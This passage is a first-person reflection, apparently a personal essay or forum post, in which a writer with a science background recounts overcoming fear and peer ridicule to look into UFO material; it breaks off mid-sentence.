When I began looking at stuff, I had very strong beliefs in how things were, and UFO's didn't fit into that mold. I come from a very strict science background. But I wanted to know more, so I started looking. Then something very interesting happened; the first and immediate thing I ran into was that I found very deeply rooted negative emotional reactions in myself to even looking at stuff outside the orthodox mainstream. I was embarrassed to say what I was doing to my peers, and whenever I did breathe word of it, I was attacked ruthlessly with ridicule and the like.
This effectively prevented me from looking for many years.
But the day did come when I stopped and blinked and saw that there was a logical disconnect. Very simply, strong emotions like those I described are not supposed to be part of a scientific enquiry, and since they were so overwhelmingly powerful, not just in myself, but in virtually everybody I've ever heard talk about it on the orthodox science side, I began to wonder where that intense emotional energy came from and why they were so deeply entrenched in me and the people I knew. So I tried a little experiment. --I made a deliberate effort to push past those emotional boundaries and look honestly at the 'forbidden' materials and get on with the job of measuring them. I didn't think at the time I was doing anything special, but this changed my life in a significant way. Fear no longer controls what I allow myself to think about. --And suffice it to say, that when I fin